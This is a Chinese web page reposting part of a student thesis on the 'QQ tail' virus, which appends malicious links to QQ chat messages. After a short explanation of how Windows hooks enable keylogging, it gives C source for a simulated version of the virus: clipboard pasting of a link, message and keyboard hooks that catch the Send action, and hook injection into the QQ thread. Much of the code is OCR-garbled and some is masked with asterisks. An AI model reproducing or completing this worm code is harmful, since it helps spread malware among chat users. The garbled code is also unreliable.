鉴于大家对其他类别十分关注,我们编辑小组在此为大家搜集整理了“QQ尾巴的原理分析及其防御”一文,供大家参考学习!
客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn |
4钩子在QQ尾巴中的应用 由于Windows钩子可以截获发往系统的各种消息并按照自己的需要对消息进行处理,以达到控制键盘、鼠标的目的。不少计算机病毒正是利用Windows钩子这一特性,来获取用户的秘密数据如账号,密码等,或者传播恶意破坏代码。这些病毒程序往往将钩子隐藏在后台或者利用DLL将病毒注入到其他合法的系统进程之中,以逃避杀毒软件的检查。许多木马病毒都利用了Windows钩子,例如国内有名的冰河木马就利用钩子在被监控端后台记录用户的击键信息,获取用户系统私密,最终对被监视端实现远程控制。[16] 4.1利用钩子实现QQ尾巴 QQ尾巴是不久前出现的一种利用QQ传播木马的病毒,该病毒刚出现时,曾使相当多的QQ用户深受其害,十分猖獗,它会偷偷隐藏在用户的系统中,发作时会寻找QQ窗口,当中毒者完成输入后,按下“发送”按钮,或用“Ctrl+Enter”热键来发送文本时,病毒会自动在文本后面加上诸如“快去这里看看,里面有好东西!http//www.xxx.xxx”之类的假消息,再发送出去,接收者如果信以为真点击该链接的话,就会被病毒感染,然后成为毒源,继续传播。“QQ tail” 病毒的实现方法有多种,其中利用Windows钩子技术就是比较有效的方法之一。该病毒的正式源代码笔者目前还无法获得,但可以根据其病毒特征,编写出具有同样功能的仿真病毒程序。利用VC++6.0编写的整个程序,在WindowsXP平台上调试通过。 4.1.1粘贴尾巴 首先的一个最简单的问题是如何添加文本。这一技术基本没有秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下: TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net"; // 函数功能:向文本框中粘贴尾巴 void PasteText(HWND hRich) { HGLOBAL hMem; LPTSTR pStr; // 分配内存空间 hMem = GlobalAlloc(GHND GMEM_SHARE, sizeof(g_str)); pStr = GlobalLock(hMem); lstrcpy(pStr, g_str); GlobalUnlock(hMem); OpenClipboard(NULL); EmptyClipboard(); // 设置剪贴板文本 SetClipboardData(CF_TEXT, hMem); CloseClipboard(); // 释放内存空间 GlobalFree(hMem); // 粘贴文本 ***********(*****, **_*****,*,*); } 4.1.2监视与捕获 这个阶段需要对QQ对话框进行监视,如果捕获用户按下了“发送”按钮,则应执行粘贴尾巴的动作。相应的程序代码如下: ∥钩子过程,监视“发送”的命令消息 LRESULT CALLBACK CallWndProc(int nCode,WPARAM wParam,LPARAM 1Param) { CWPSTRUCT p:(CWPSTRUCT*)lParam: if(p一>message=:WM COMMAND&&LOWORD(p一> wParam):=1) ∥捕获“发送”按钮,其中其中wParam的低位字(即 LOWORD(wParam))为这个“发送消息”的对话框的ID PasteText(g_hRich); ∥粘贴尾巴 实践与经验 调用钩子链中的下一个处理过程 return CallNextHookEx(g_hProc,nCode,wParam, lParam); } 考虑到有许多QQ用户是用“Ctrl+Enter”的热键来发送消息,所以还必须挂接一个键盘消息的钩子,程序代码如下: ∥键盘钩子过程,监视“发送”的热键消息 LRESULT CALLBACK KeyboardProe (int nCode, W-PARAMwParam,LPARAM1Param) { if (wParam ==VK—RETURN&& GetAsyneKeyState K — CONTROL)<0&&1Param>=0) ∥捕获热键消息 PasteText(g_hRich); ∥粘贴尾巴 returla CallNextHookEx(g_hKey,nCode,wParam, 1Param); } 4.1.3下钩与取钩 挂接钩子的目标,应该是“发送消息”窗口的所属线程。利用函数GetWindowThreadProcesslD()来获得该线程的ID,然后再将钩子挂接上去。相关的 程序代码如下: ∥挂接过程 BOOL WINAPI SetHook(HWND hQQ) { BOOL bRet=FALSE; if(hQQ!=NUL) { DWORD dwThreadlD = GetWi(1lQQ,NUL); g_hRieh=GetWindow(GetDlgIt~m(hQ口 GW_CI-HLD); if(g_hRieh=:=NUL) returnn LSE: g_hProc=SetWindowsHookEx(WH_ CAL WNDPROC。CallWndProc,g_ hlnstDLL,dwThreadlD); ∥下钩,对“发送”命令消息 g_hKey=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,g_ MnstDLL,dwThreadlD); ∥下钩,对“Ctrl+Enter”热键 bRet=(g hProc!=NUL)&&(g__hKey!:NU ; } |
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT |
本文选自计算机毕业设计http://myeducs.cn |